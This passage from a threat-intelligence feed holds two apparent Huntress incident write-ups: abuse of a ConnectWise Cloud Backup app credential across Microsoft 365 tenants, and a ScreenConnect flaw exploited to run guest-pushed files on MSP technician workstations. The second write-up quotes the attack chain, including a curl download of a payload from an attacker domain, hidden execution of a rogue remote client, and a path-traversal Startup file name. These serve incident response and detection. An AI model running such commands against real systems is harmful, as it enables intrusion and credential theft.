malicious\n\napplication sign-ins were tightly bunched across the morning of October 15 UTC, and the last confirmed\n\nsuccessful sign-in we observed with this credential was at 08:44 UTC on October 15. After that, we saw only\n\nfailed attempts in the tenants where we can see sign-in logs. With evidence in hand that there was no current or\n\nrepeated activity (in the tenants where we can see sign-in logs), it simply didn't make sense to create a larger-than-\n\nnecessary blast radius.\n\nThis judgment call allowed our experts and agents to focus closely on environments with confirmed unauthorized\n\nsign-ins, share what we found with industry partners, and publish guidance for the community.\n\nWe believe it's these surgical moments our partners most appreciate and count on when it hits the fan, especially\n\nwhen the wrong decision can disrupt working systems and business productivity as collateral damage.\n\nUpdate: 10/17/26 @ 5:15 PM ET\n\nPage 2 of 12\n\nhttps://www.huntress.com/blog/vendor-credential-enables-unauthorized-access\n\n**As of October 17 at 5:15 PM ET, ConnectWise has communicated that they have disabled relevant apps.\n\nDuring further investigations, Huntress identified a second, targeted wave of attempts from  144.172.64[.]128\n\non October 15, unsuccessfully targeting a narrow scope of 16 Huntress-protected tenants. These tenants are in the\n\npolicy, national security, trade, and critical mineral sectors. Unlike the first wave of activity outlined in our initial\n\nblog below, most of these tenants do not rely on any ConnectWise products. In tenants without the relevant\n\nConnectWise service principal, the attempts failed because the application was not present.\n\nFor the new target set, the first sweep targeted Graph tokens from the SkyKick app and occurred on October 15\n\nbetween 09:25:04 and 12:35:50 UTC. Several tenants were hit in bursts during that timeframe. The second sweep\n\nhit the same tenants on the same date, between 13:54:39 and 14:20:24 UTC. This sweep appeared to be manual\n\nand targeted Exchange Online, SharePoint Online, Teams, Azure Resource Manager, Entra, and the Office 365\n\nManagement APIs.\n\nIn addition to the activity above:\n\nHuntress has identified almost 1,000 Entra tenants with sign-in activity from the IP address associated with\n\nthe unauthorized activity ( 144.172.64[.]128 ). Over 300 of those succeeded.\n\nWhile many of these sign-ins were successful, the absence of a service principal in some tenants prevented\n\nthe threat actor from successfully gaining access to those tenants.\n\nHuntress have also received external reports and tips from outside our fleet describing similar activity in\n\nother tenants, including what appears to be hands-on activity. We have not independently verified these\n\nreports.\n\nAs mentioned in our initial blog, on October 15 the threat actor appears to have used access from the ConnectWise\n\napp family to add a credential to a Huntress application in one customer tenant, and to add a credential to another\n\napplication in the same tenant. The credential on the Huntress application was used to sign in seven times in quick\n\nsuccession. On October 16, Huntress identified and removed the unauthorized credential on our application. We\n\nhave not seen the application make changes in that tenant's audit log, but Microsoft does not log everything an\n\napplication reads, so we cannot rule out access to data the application can read there. Huntress is actively\n\nreviewing credential activity associated with our applications across partner environments, validating expected\n\naccess, and investigating suspicious changes.\n\nNotably, the access that led to the credential being added to Huntress and another app came from private\n\nAzure IPv6 space, not the IP address associated with the previous sign-ins ( 144.172.64[.]128 ). At this\n\ntime, we advise all ConnectWise users to audit all service principal sign-ins to the apps identified below\n\nbeginning around 01:00 UTC on October 15 to 02:00 UTC on October 16.\n\nWe're strengthening our safeguards with additional monitoring and preventative controls to help detect and\n\nrespond to unusual activity even faster. We've enabled App Instance Property Lock across all Huntress\n\napplications and are enhancing our fleet health and monitoring capabilities to detect modification attempts.\n\nHuntress is continuing to investigate this incident and will update this blog with any further breaking updates.\n\nPage 3 of 12\n\nhttps://www.huntress.com/blog/vendor-credential-enables-unauthorized-access\n\nUpdate: 10/17/26 @ 10:30 AM ET\n\nAfter spending the night combing through Azure logs, we have high-confidence that the threat actor has also\n\nabused the following M365 applications:\n\n• ConnectWise Cloud Management - Exchange Online ( b78f6a77-d4e5-46fb-87e5-d1648bd02519 ).\n\n• ConnectWise Cloud Management - MS Teams ( 24205314-2b89-4e07-a2a4-579e898a5640 ).\n\n• ConnectWise Cloud Management - SharePoint Online ( b2b55f5b-7758-4719-8d8f-88ae172e6bdb ).\n\nAt the moment, it does not look like these apps have been disabled by ConnectWise.\n\nWhen it comes to early exploitation and post-exploitation behaviors, we’ve observed what might be an affinity\n\ntowards alphabetical targeting (our most interesting victims start with “A”). Although all tenants should be\n\nscrutinized, this pattern is worth sharing for prioritization.\n\nIf you’ve been impacted with noteworthy tradecraft relating to this SkyKick incident, our research team would\n\nlove to learn more so we take actions to protect the community. Hit us up at support@huntress.com.\n\nBackground\n\nConnectWise Cloud Backup (Formerly SkyKick) is a cloud-based backup and recovery service built for managed\n\nservice providers (MSPs) to protect their clients' Microsoft 365 or Google Workspace data. To do that job, the app\n\nis granted broad access to mailboxes, OneDrive, SharePoint, Teams, and directory data in every tenant it is\n\ninstalled in.\n\nOn October 15, the application's identity signed in to customer Microsoft 365 tenants from  144.172.64[.]128 , a\n\nhosting provider address, and received Microsoft Graph access tokens. This is not how the app normally behaves:\n\nlegitimate traffic comes from Azure private IP space. As of 19:00 UTC on October 16, Huntress has confirmed\n\nunauthorized sign-ins in 162 tenants.\n\nThe authentication itself is certain: It comes from Microsoft's own sign-in logs in each tenant. The credential type\n\nwas a client assertion, which means the credential lives in the vendor's own tenant. Nothing a customer did in their\n\nenvironment could have produced it.\n\nConnectWise has acknowledged the incident on its website and confirmed the IP is associated with unauthorized\n\nactivity. Todyl has also reported on this incident.\n\nPage 4 of 12\n\nhttps://www.huntress.com/blog/vendor-credential-enables-unauthorized-access\n\nFigure 1: What the login attempt looks like to an IT admin in the Microsoft Entra Admin Center\n\nHuntress is continuing to monitor this situation closely alongside our security partners; for all updates, please\n\ncontinue to check this blog post.\n\nWhat Happened\n\nWhat do we know? The app's credential is in hostile hands. It was used to obtain Microsoft Graph tokens\n\nin customer tenants from  144.172.64[.]128  on October 15, between 06:13 and 08:34 UTC. The actor\n\nmoved through tenants in sorted GUID order, a few seconds apart, which points to a script working from a\n\ntarget list.\n\nWho is affected? Any organization with the app installed. The credential works against every tenant the\n\napp is consented in, so the actor is not limited to the tenants we have confirmed so far.\n\nHow does it work? The attacker authenticates to the app using their own tooling, the same way the backup\n\nservice does, and gets tokens with the app's existing permissions.\n\nWhat are the potential repercussions? Because backup and restore both need to read and write data,\n\nthose permissions are broad. An attacker holding those tokens can read the same mailboxes, files, and\n\ndirectory data the backup service can.\n\nHuntress observations\n\nHere is the timeline of what Huntress has seen from the same infrastructure:\n\nOctober 13 to 14: Password spraying against four law firm tenants from  144.172.64[.]128 . Scripted\n\nOAuth2 token requests (User-Agent  curl/7.88.1 ) from datacenter infrastructure. Two accounts were\n\nlocked out by smart lockout. We saw no successful user sign-ins from this IP in Huntress telemetry.\n\nOctober 15, from 01:58 UTC: In roughly 50 tenants monitored by Huntress, service principals for\n\nConnectWise's Cloud Management apps (Exchange Online, Microsoft Teams, and Microsoft Graph)\n\nassigned themselves directory roles, mostly Exchange Administrator. The User-Agent on these events\n\n( kiota-dotnet ) is the one ConnectWise's own apps use, which points to vendor automation, but we have\n\nnot confirmed that with ConnectWise.\n\nPage 5 of 12\n\nhttps://www.huntress.com/blog/vendor-credential-enables-unauthorized-access\n\nOctober 15, 03:44 to 03:49 UTC, one customer tenant: The ConnectWise Cloud Management app for\n\nMicrosoft Teams (application ID  24205314-2b89-4e07-a2a4-579e898a5640 ) added itself to the Global\n\nAdministrator role, then ran a Python script (User-Agent  Python-urllib/3.12 ) that modified two other\n\napplications in the tenant: an MSP management application, and Huntress's own application (Huntress\n\nSecurity Platform), adding new client secrets to both. A followup attempt to add a certificate failed. The\n\nnew secrets were set to expire in 2028.\n\nOctober 15, 06:13 to 08:34 UTC: The app authenticated from  144.172.64[.]128  in 17 of the first 290~\n\ntenants Huntress checked, across 17 different partner accounts.\n\nBetween October 13 and 14: The same address also made a scripted sign-in attempted using client\n\napplication IDs belonging to other tools.\n\nIn the tenant where we saw persistence, the entire sequence took about five minutes. The ConnectWise Cloud\n\nManagement app for Microsoft Teams added itself to Global Administrator at 03:44 UTC and again at 03:48. In\n\nthe same window it made nine changes to two other applications, an MSP management application and Huntress's\n\nown application. Six of the changes succeeded and three failed. One failure was a certificate credential that\n\nMicrosoft rejected with a thumbprint mismatch, and the client secrets that were added afterward succeeded.\n\nA client secret and a certificate are two ways for an application to prove its identity to Entra, and either one gives\n\nthe holder the same access: sign in as that application, from anywhere, using the permissions already granted to it.\n\nApp-only sign-ins involve no user, no device, and no MFA prompt. The person who creates a secret sees its value\n\nat creation, so the attacker holds working credentials for both applications until someone removes them. Adding\n\ncredentials to an existing application is a known persistence technique (MITRE ATT\u0026CK T1098.001, Account\n\nManipulation: Additional Cloud Credentials).\n\nThe two applications that received new secrets are trusted, privileged tools. Adding a credential to an MSP\n\nmanagement application can extend access beyond the one tenant, because those applications are often consented\n\ninto the MSP's customers' tenants. A credential on a security tool's application gives the holder whatever that tool\n\nis permitted to do.\n\nThe Global Administrator change and the credential additions happened about two and a half hours before the first\n\napp authentications from  144.172.64[.]128  at 06:13 UTC. We have no source address for the earlier activity, so\n\nwe have not tied the two phases to the same operator. User-Agents helped us distinguish vendor activity from\n\nattacker activity. The ConnectWise Cloud Management and Partner Center applications we reviewed make their\n\nGraph calls with a .NET SDK User-Agent ( kiota-dotnet ). The application changes in the one tenant came from\n\na Python User-Agent, and the password spray used  curl/7.88.1 . None of these is unique to this actor, and\n\nPython and curl are common in ordinary administration, so the combination of actor, operation, and User-\n\nAgent is the useful signal, not any single one.\n\nMicrosoft's audit log records role assignments and application changes along with the acting application, but for\n\napp-only actions it carries no source IP, and it does not record the details of the credential that was added or what\n\nan application read through Microsoft Graph. Confirming exactly what was added in a tenant takes the Entra audit\n\nlog or a Graph query for that tenant, which is why we ask partners to review credentials directly.\n\nPage 6 of 12\n\nhttps://www.huntress.com/blog/vendor-credential-enables-unauthorized-access\n\nWhat we have not confirmed\n\nImpact. In the one tenant audit log we reviewed in detail, the actor shows no mail or file access. That does\n\nnot mean no data was taken. Directory reads through Microsoft Graph leave no audit trail, so \"tokens\n\nissued, nothing visible taken\" is the current state.\n\nSecondary app exposure. ConnectWise has multiple applications with very high-level permissions. In one\n\ncustomer tenant, Huntress confirmed that a second ConnectWise application, ConnectWise Cloud\n\nManagement for Microsoft Teams, was used to grant itself Global Administrator and add credentials to\n\nother applications. We cannot verify that the remaining ConnectWise applications are secure.\n\nWhat to do next\n\nDisable the application now, even if you see nothing unusual.\n\nIn the Microsoft Entra admin center, go to Enterprise applications and search for Application ID\n\n506e08f9-6e9a-4da4-942b-a099a03644ae  (you can also search for \"SkyKick\" or \"ConnectWise Cloud\n\nBackup\").\n\nOpen Properties and set \"Enabled for users to sign-in\" to No.\n\nDo not delete the application. Deleting it removes the consent, and you will need to re-consent to restore\n\nservice.\n\nCheck for other ConnectWise and SkyKick applications in your tenant (search for \"SkyKick\" and\n\n\"ConnectWise\"). If you cannot verify one is safe, disable it as well, without deleting, until ConnectWise\n\nconfirms that it is.\n\nApplication IDs to look for:\n\nConnectWise Cloud Backup\n\n506e08f9-6e9a-4da4-942b-a099a03644ae\n\nConnectWise Cloud Management\n\n2399d300-6fca-4e6a-a686-399fefe75b83\n\nConnectWise Cloud Management - MS Teams\n\n24205314-2b89-4e07-a2a4-579e898a5640\n\nConnectWise Cloud Management - Exchange Online\n\nb78f6a77-d4e5-46fb-87e5-d1648bd02519\n\nConnectWise Cloud Management - MS Graph\n\n0de14c77-b9b0-4137-9360-34878a929827\n\nConnectWise Cloud Management - Partner Center\n\n412dcf96-176d-4b3a-a1b0-4981ad66971e\n\nPage 7 of 12\n\nhttps://www.huntress.com/blog/vendor-credential-enables-unauthorized-access\n\nConnectWise Cloud Management - SharePoint Online\n\nb2b55f5b-7758-4719-8d8f-88ae172e6bdb\n\nIn older tenants the Cloud Management apps may appear as \"SkyKick Cloud Manager.\"\n\nIn older tenants the Cloud Management apps may appear as \"SkyKick Cloud Manager.\"\n\nIf a ConnectWise or SkyKick application holds a directory role in your tenant, especially Global\n\nAdministrator or Privileged Authentication Administrator, review it, and after the app is disabled remove\n\nany role you did not intentionally grant.\n\nIf you use Huntress, include the Huntress Security Platform application in the credential review above.\n\nReview the credentials (client secrets and certificates) on all of your Enterprise applications and App\n\nregistrations, especially management and security tools, for any added since October 13 that you did not\n\ncreate. Remove anything unexpected.\n\nCheck your Entra audit logs for ConnectWise or SkyKick applications adding themselves to a directory\n\nrole, and if that application modifies other applications.\n\nIn those audit events, check the user agent. The ConnectWise Cloud Management and Partner Center apps\n\nwe reviewed make their Graph calls with a .NET SDK user agent (kiota-dotnet). The application changes\n\nwe saw in the one tenant came from a Python user agent (Python-urllib/3.12), which differs from the\n\nvendor apps we reviewed.\n\nDo not re-enable any ConnectWise applications until ConnectWise confirms all credentials have been reset.\n\nPage 8 of 12\n\nhttps://www.huntress.com/blog/vendor-credential-enables-unauthorized-access\n\nFigure 2: Mitigation recommendations\n\nDisabling the app pauses automated backups until it is re-enabled. Your emails, files, Teams messages, and user\n\nsign-ins keep working, and existing backups held by ConnectWise are not deleted. Consider whether a gap in\n\nrecovery points matters for you.\n\nIf you want to check your logs:\n\nIn the Entra admin center, go to Monitoring \u003e Sign-in logs, open the Service principal sign-ins tab, and\n\nfilter by Application ID  506e08f9-6e9a-4da4-942b-a099a03644ae . The default User sign-ins tab will not\n\nshow this data.\n\nIn the IP address column, look for any address outside Microsoft/Azure ranges. The app's normal egress is\n\nAzure private IPv6. Search for  144.172.64[.]128  specifically.\n\nA clean result does not rule out access. Please disable the application regardless.\n\nAlso review Conditional Access: If any policy excludes this application, for example from a location-based\n\nblock, the attacker's infrastructure will not be blocked there. Review those exclusions once the app is disabled.\n\nWhy this matters\n\nPage 9 of 12\n\nhttps://www.huntress.com/blog/vendor-credential-enables-unauthorized-access\n\nThe backup service needs broad access to do its job, and an attacker using its credentials will inherit that level of\n\naccess for every tenant where the app is installed. Depending on the permissions in the tenant, that can include\n\nmailboxes, OneDrive and SharePoint files, Teams data, and directory information, much of it belonging to your\n\nclients. Some of that access, such as directory reads through Microsoft Graph, leaves no audit trail, which is why\n\nwe suggest acting now instead of waiting for proof of access. The full potential impact depends on the permissions\n\nin play in each tenant.\n\nWhat could happen\n\nWhat an attacker can do with a credential like this depends on the permissions already granted to the application\n\nin each tenant. A backup service normally holds read access to mail, files, Teams, and directory data so it can copy\n\nthem, and write access so it can restore them. An attacker holding tokens for that application inherits the same\n\naccess: reading mail and files in bulk, downloading mailbox and OneDrive contents, enumerating users, groups,\n\nand applications, and, where write permissions exist, changing or deleting data. Because the access is app-only, it\n\ndoes not depend on a user being signed in, and the sign-in protections that apply to people do not apply to it.\n\nThe larger risk is what happens when that access is used to gain more. If an application can assign directory roles,\n\nas we saw in one tenant, it can make itself a Global Administrator, and an administrator can add credentials to\n\nother applications, create new applications and grant them permissions, reset passwords and authentication\n\nmethods for users, and change Conditional Access policies. Each of those steps gives the attacker another way\n\nback in that does not depend on the original vendor credential, which is why rotating the vendor credential is\n\nnecessary, but not enough.\n\nIn managed service provider environments the effect can compound. MSPs use management applications and\n\ndelegated access to administer many customer tenants, so a foothold in one MSP tenant can become a path to its\n\ncustomers. We have not seen that happen, and the audit log shows changes, not reads, but it is the reason we ask\n\nMSPs to review credentials on their management and security tools first.\n\nIn ATT\u0026CK terms, the activity we observed maps to valid cloud accounts (T1078.004) for the use of the vendor\n\ncredential, additional cloud roles (T1098.003) for the self-assigned administrator roles, and additional cloud\n\ncredentials (T1098.001) for the secrets added to other applications.\n\nDetecting this in your own logs\n\nThese events appear in the Entra audit log as Add member to role, Update application, and Add service principal\n\ncredentials. The fields that matter are the initiating application, the target, the result, and the user agent. A service\n\nprincipal that adds itself to a directory role, or that modifies other applications, is unusual in most tenants and\n\nworth investigating on its own.\n\nReducing exposure\n\nSeveral Entra controls limit the damage if an application credential is stolen. Application management policies can\n\nrestrict or block client secrets on app registrations and cap credential lifetimes. Limiting who holds the\n\nApplication Administrator and Cloud Application Administrator roles reduces who can add credentials to\n\napplications. Conditional Access for workload identities, which needs additional licensing, can restrict where an\n\nPage 10 of 12\n\nhttps://www.huntress.com/blog/vendor-credential-enables-unauthorized-access\n\napplication is allowed to sign in from, and Microsoft Entra ID Protection can flag risky service principals. None of\n\nthese replaces reviewing credentials, but they make a planted secret harder to use or easier to spot.\n\nWhat is Huntress Doing?\n\nHuntress has been working with partners to address the steps above. We have also been:\n\nChecking tenants where we can see sign-in logs through Microsoft Graph, and recording every public IP\n\nthe app has signed in from.\n\nThat work is ongoing and will tell us who else is affected and whether other attacker IPs are\n\ninvolved.\n\nWe cannot check tenants without the necessary Entra licensing.\n\nDisabling the application in tenants where we find activity from  144.172.64[.]128 , and in tenants where\n\na ConnectWise or SkyKick application gave itself a directory role, then notifying the affected partner.\n\nSweeping every tenant we can see for current state: ConnectWise and SkyKick service principals that hold\n\nprivileged roles, and credentials added to any application since October 13, including our own application.\n\nLooking at how we can add visibility into application sign-ins.\n\nWe will continue to update this blog as we learn more.\n\nIndicators of Compromise (IOCs)\n\nItem Description\n\nInfrastructure used in the unauthorized activity Huntress observed a hosting\n\n144.172.64[.]128 provider (AS14956, RouterHosting). Used for the October 13 to 14 password\n\nspray and the October 15 app authentications.\n\nAdditional IP indicator shared by ConnectWise in its advisory (part of its update\n144.172.64[.]99\non 10/18 at 18:45 UTC).\n\nAdditional IP indicator shared by ConnectWise in its advisory (part of its update\n144.172.64[.]60\non 10/18 at 18:45 UTC).\n\n506e08f9-6e9a-4da4- Application ID of ConnectWise Cloud Backup (formerly SkyKick Backup). This\n\n942b-a099a03644ae is a legitimate application. The credential for it is what was abused. Do not block\n\nPage 11 of 12\n\n3f9cd7a0-127a-4ed4-\n\nbf06-2f830d5616b7\n\n24205314-2b89-4e07-\n\na2a4-579e898a5640\n\nPython-urllib/3.12\n\npython-requests/2.31\n\ncurl/7.88.1\n\nhttps://www.huntress.com/blog/vendor-credential-enables-unauthorized-access\n\nthe ID itself, disable the service principal in your tenant.\n\nApplication owner tenant ID seen on the app's service principal events (the\n\nvendor's tenant).\n\nApplication ID of ConnectWise Cloud Management - MS Teams (formerly\n\nSkyKick Cloud Manager - MS Teams). This is a legitimate application. In one\n\ntenant it assigned itself Global Administrator and modified other applications. Do\n\nnot block the ID itself, disable the service principal in your tenant.\n\nUser agents ConnectWise lists as observed on the suspicious authentication\n\nactivity. Low fidelity on their own. Python-urllib/3.12 was also the user agent on\n\nthe credential changes described above, but it is common and not unique to this\n\nactivity.\n\nUser agent seen on the password spray. Low fidelity on its own, but useful with\n\nthe IP.\n\nSource: https://www.huntress.com/blog/vendor-credential-enables-unauthorized-access\n\nPage 12 of 12","extraction_quality":1,"language":"EN","sources":["OTX"],"origins":["web"],"references":["https://www.huntress.com/blog/vendor-credential-enables-unauthorized-access"],"report_names":["vendor-credential-enables-unauthorized-access"],"threat_actors":[],"ts_created_at":1794967809,"ts_updated_at":1794968423,"ts_creation_date":0,"ts_modification_date":0,"files":{"pdf":"https://archive.orkl.eu/ea2a49df39dc12c4d52da947380bd4fa3bf1a352.pdf","text":"https://archive.orkl.eu/ea2a49df39dc12c4d52da947380bd4fa3bf1a352.txt","img":"https://archive.orkl.eu/ea2a49df39dc12c4d52da947380bd4fa3bf1a352.jpg"}},{"id":"b053042d-385d-4faf-bfe9-8552d547ff19","created_at":"2026-11-18T02:08:25.806035Z","updated_at":"2026-11-18T02:20:22.80689Z","deleted_at":null,"sha1_hash":"5ee73b42074f5dafcfb7fdc978e6d1396872f57f","title":"CVE-2026-84869 in ScreenConnect Exploited to Run Malicious Files on MSP Technician Accounts","llm_title":"","authors":"","file_creation_date":"0001-01-01T00:00:00Z","file_modification_date":"0001-01-01T00:00:00Z","file_size":2171262,"plain_text":"https://www.huntress.com/blog/cve-2026-84869-screenconnect-technician-exploitation\n\nCVE-2026-84869 in ScreenConnect Exploited to Run Malicious Files on\n\nMSP Technician Accounts\n\nBy John Hammond\n\nPublished: 2026-11-16 · Archived: 2026-11-18 02:00:24 UTC\n\nWhat Is CVE-2026-84869?\n\nConnectWise disclosed CVE-2026-84869 on September 8, 2026, with a CVSS score of 9.9, and CISA added the CVE to its\n\nKnown Exploited Vulnerabilities catalog on September 11. ConnectWise's advisory stated that in both Support and Access\n\nsessions, a guest could trigger file-transfer actions that the technician's host client processed without authorization or\n\nconfirmation, including running the file with elevated rights. ConnectWise listed 26.6.5 as the fixed version for host clients\n\nand Access agents, and recommended removing the  TransferFiles  permission as an interim mitigation.\n\nFigure 1: CVE-2026-84869 file transfer spray campaign by the numbers\n\nIn the days leading up to CVE-2026-84869's disclosure, Huntress stood up a Rapid Response to worm-like activity that\n\nspawned rogue ScreenConnect clients and dropped malicious VBScript files across several customer environments. On\n\nNovember 11, we stood up another Rapid Response to more worm-like activity where an attacker used Run commands on\n\ncloud-hosted panels to install rogue ScreenConnect clients and session-cookie relays on hundreds of managed endpoints.\n\nThe malware, called SCKit, appears to be leveraging a vulnerable third-party extension on the server side of ScreenConnect\n\nand not directly exploiting CVE-2026-84869, but attempting to stage it as a \"relay trap\" for subsequent technician\n\nconnections.\n\nThis most recent activity is distinct from a separate campaign we reported on November 13 that planted unauthorized guest\n\nsessions disguised with crypto exchange names on more than 100 MSP ScreenConnect servers. While we did not observe\n\nPage 1 of 13\n\nhttps://www.huntress.com/blog/cve-2026-84869-screenconnect-technician-exploitation\n\nthe attacker using the unauthorized sessions in this manner, the crypto exchange names may be intended to lure a technician\n\ninto opening the session and running a malicious file on their client.\n\nAn MSP technician's workstation typically holds RMM consoles, saved credentials, and access to every customer, making it\n\nan exceptionally attractive target. When a technician joins a remote session, their ScreenConnect host client and the guest\n\nmachine can exchange files. Normally, the technician decides what moves and what runs.\n\nA malicious guest exploiting CVE-2026-84869 can push a file to the technician's machine and get the technician's own\n\nclient to run it. From the technician's view, no prompt appears. They only have to join the session, whether from an attacker-\n\ncontrolled machine or a real customer's support session that the attacker has slipped into as an extra guest.\n\nHuntress Observations\n\nA full compromise in 9 seconds\n\nOn November 12, we observed a technician at one MSP using their ScreenConnect host client to join a blank-named Access\n\nsession on the MSP's server. Here's what the process telemetry from the technician's workstation shows, in UTC:\n\nTime What happened\n\nThe host client runs a guest-pushed  update_224ac089.bat  from the client's  Documents\\...\\Temp\\\n16:46:20.7\nfolder , with the argument  xhsdf_wrwerhjf_shhdga\n\n16:46:21.7 The script relaunches itself hidden through PowerShell and  WScript.Shell\n\n16:46:22.2 It decodes a Base64 Telegram bot token and chat ID and reports the new victim to the operator\n\nRecon: reg query for the Windows product name and build, a check for an existing copy of its own client,\n16:46:22.6\nand net session to test for admin rights\n\n16:46:23.9 curl  downloads  hxxps://masterdarky[.]com/WindowsUpdate.msi  to  %TEMP%\\wupdate_224ac089.msi\n\nmsiexec /a ... TARGETDIR=%LOCALAPPDATA%\\wclient_224ac089 /qn  unpacks the MSI as an\n16:46:25.8\nadministrative image, which leaves no install record\n\n16:46:26.2 sc config seclogon start= auto and net start seclogon\n\nrunas /trustlevel:0x20000  and a PowerShell Start-Process launch the payload;  csc.exe  compiles a\n16:46:28.3\nPowerShell  Add-Type\n\nPage 2 of 13\n\nhttps://www.huntress.com/blog/cve-2026-84869-screenconnect-technician-exploitation\n\nWindowsUpdate.WindowsClient.exe \"h=masterdarky[.]com\u0026p=8041\u0026k=...\"  starts: a rebranded\n16:46:29.1\nScreenConnect client connected to the attacker's relay\n\nFigure 2: The CVE-2026-84869 exploitation chain on a technician workstation on November 12, 2026\n\nThe attacker now has their own remote-access client on the technician's machine that looks like legitimate ScreenConnect\n\nand named after Windows Update.\n\nThe observed  curl  commands suggest that the attacker may have expected unreliable networks in their spraying attempts:\n\n-A \"Mozilla/5.0\" --ssl-no-revoke --tlsv1.2 -f -L -C - --connect-timeout 20 --max-time 900 --retry 2 --speed-limit 2048 --\n\nThe spray: hundreds of thousands of requests, waiting for someone to join\n\nHow did that batch file reach the technician? On other MSPs' servers, we can see the delivery side in the server's own\n\ndatabase.\n\nAcross 42 MSP ScreenConnect servers between October 20 and November 16, attacker guests made 688,000 \"run file\"\n\nrequests for files named  update.bat  or  update_\u003c8 hex\u003e.bat  from 29 source IP addresses. On the busiest server, 10 guest\n\nsessions from seven IPs made 70,414 requests over three weeks. The guests made repeated requests in case a technician\n\nhappened to join.\n\nPage 3 of 13\n\nhttps://www.huntress.com/blog/cve-2026-84869-screenconnect-technician-exploitation\n\nFigure 3: Guest \"run file\" requests for update.bat-style batch files per ScreenConnect server, anonymized\n\nThe \u003c8 hex\u003e part of the file name looks like a payload or wave ID, not a per-victim ID. That's what ties the spray to the full\n\ncompromise above: the exact file  update_224ac089.bat  was sprayed at five MSP ScreenConnect servers, starting within 2\n\nseconds of each other at 16:03 UTC on November 12, 43 minutes before the compromise. Each server received it between\n\n585 and 5,671 times, and three were still receiving it on November 16. The day before, the same sessions sprayed an earlier\n\nwave,  update_c99a4b29.bat . We assess with high confidence that the spray operator and the  masterdarky[.]com  operator\n\nare the same.\n\nWhat the spray guests look like:\n\nPage 4 of 13\n\nhttps://www.huntress.com/blog/cve-2026-84869-screenconnect-technician-exploitation\n\nblank session names or default-looking Windows hostnames\n\na claimed guest client version matching the server's own build (25.8.3.9466 on the busiest server)\n\nno preview image, or a JPEG\n\nan empty guest public key on about half of the sessions on the busiest server\n\nAll five sessions that sprayed   update_224ac089.bat  , and 27 spray sessions across 17 servers in total, have the session's\n\nCompany property ( CustomProperty1 ) set to  crypto client . This is distinct from our previous reporting on crypto-\n\nexchange named decoys, which had this property left blank.\n\nCanary song: A test run on a second technician\n\nOn November 13 at 01:49 UTC, a technician at another MSP joined a session presenting as a laptop. The guest, at\n\n91.224.92[.]167,  had been reconnecting to the MSP's server since late October, even after a technician queued it for\n\nuninstall. Two seconds after the technician joined, the guest pushed marker.txt. About three seconds after that, the\n\ntechnician's client ran it, and it opened in Notepad++. Nothing else followed until the host went offline 18 minutes later.\n\nA harmless text file that announces itself is a classic canary; it proves the exploit works against this target before anything\n\nreal is sent. The same IP pushed marker.txt three times at a technician at a third MSP in late October, each time while that\n\ntechnician was connected. We don't know whether that client ran it. Unlike the spray, this guest looked like a real, named\n\nWindows machine with a non-empty key and screenshot, which would fit a person driving it by hand.\n\nThis technician had also joined one of the unauthorized crypto-named guest sessions we were investigating about a minute\n\nearlier. While nothing came from that session, we mention it because it shows how close the two campaigns come in\n\npractice, targeting the same technician on the same vulnerable client inside a minute.\n\nPath traversal into a technician's Startup folder\n\nThe most targeted activity we found happened in October, on one MSP's server. In three real support sessions technicians\n\ncreated for customers over multiple days, an attacker joined as an additional guest and asked the technician's client to run the\n\nfollowing file:\n\n../../../AppData/Roaming/Microsoft/Windows/STARTM~1/Programs/Startup/Sync.bat\n\nIf the client honored that path, it would drop a script into the technician's own Startup folder, where it would run at their next\n\nlogon. Each push was sent while a different technician was connected (October 23, 24 and 27), from  193.26.115[.]63  and\n\n57.128.131[.]66 . Two of the technicians were on vulnerable Windows clients while the third used the Mac client, where a\n\nWindows Startup path failed.\n\nA near-miss\n\nOn October 19, a guest at  91.224.92[.]83  (the same  /24  as the canary IP) pushed  Run-Lateral.bat  seven times at a\n\ntechnician on a vulnerable 24.2 client. The closest push arrived 4.3 seconds after the technician disconnected, so nothing\n\nwas delivered. We count this as a near-miss, not an exposure.\n\nOn another server, a guest at  107.148.223[.]37  pushed  svc_payload.cmd  207 times; the technician joined only after the\n\nlast push.\n\nPage 5 of 13\n\nhttps://www.huntress.com/blog/cve-2026-84869-screenconnect-technician-exploitation\n\nFigure 4: Spray activity per server and technician-exposure events, October 19 to November 16, 2026\n\nWhat should MSPs do?\n\n1. Patch technician clients now\n\nPage 6 of 13\n\nhttps://www.huntress.com/blog/cve-2026-84869-screenconnect-technician-exploitation\n\nUpdate every technician's ScreenConnect host client to 26.6.5 or later, and any Access agents ConnectWise lists. Updating\n\nthe server alone doesn't fix this, because the vulnerable code runs on the technician's machine. Your server's connection\n\nhistory records which client version each technician used. In the cases discussed in this post, many technicians were still on\n\n22.x, 24.2 and 25.8 clients weeks after the fix shipped.\n\nIf you can't patch today, remove the  TransferFiles  permission from roles and session groups, as ConnectWise advises.\n\n2. Hunt for exposure\n\nOn the server ( App_Data\\Session.db , work on a copy), look for  RanFiles  ( EventType 85 ) or  SentFiles  (86) events\n\nsent by a guest connection ( ProcessType = 2 ), especially:\n\nrepeated requests for  update.bat / update_\u003c8hex\u003e.bat  in blank-named sessions\n\nmarker.txt ,  Run-Lateral.bat ,  svc_payload.cmd\n\nany path containing  ../\n\nThen check whether a Host connection ( ProcessType = 1 ) was open at that moment. That overlap is the exposure.\n\nOn technician workstations, look for:\n\nScreenConnect.WindowsClient.exe  (or your branded client) running  .bat ,  .cmd ,  .ps1 , . vbs , .js , or  .txt\n\nfiles from  Documents\\*\\Temp\\\n\nanything in  %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\  you didn't put there, especially\n\nSync.bat\n\nfolders named %LOCALAPPDATA%\\wclient_\u003c8hex\u003e and files named  %TEMP%\\wupdate_\u003c8hex\u003e.msi\n\nWindowsUpdate.WindowsClient.exe  or any ScreenConnect client whose command line points at a relay that isn't\n\nyours.\n\nKill spray sessions by deleting blank-named guest sessions that keep asking to run  update*.bat.  They come back, so\n\ncheck again.\n\n3. If you find a hit\n\nIsolate the technician's workstation, then:\n\nKill the rogue client and remove  %LOCALAPPDATA%\\wclient_\u003cid\u003e  and the  wupdate_\u003cid\u003e.msi.\n\nSet  seclogon  back to its normal start type.\n\nRotate every credential that was reachable from that workstation: RMM, PSA, ScreenConnect, password vault, and\n\ncustomer admin accounts.\n\nAssume the attacker could see everything the technician could.\n\n4. Shrink the attack surface\n\nRestrict who can join sessions as a guest, and review guest-side permissions on Support sessions.\n\nRestrict access to your ScreenConnect web interface and installer downloads by IP or VPN where you can.\n\nDon't join unattended sessions you can't tie to a customer.\n\nPage 7 of 13\n\nhttps://www.huntress.com/blog/cve-2026-84869-screenconnect-technician-exploitation\n\nDetection opportunities\n\nProcess: Parent ScreenConnect.WindowsClient.exe → child 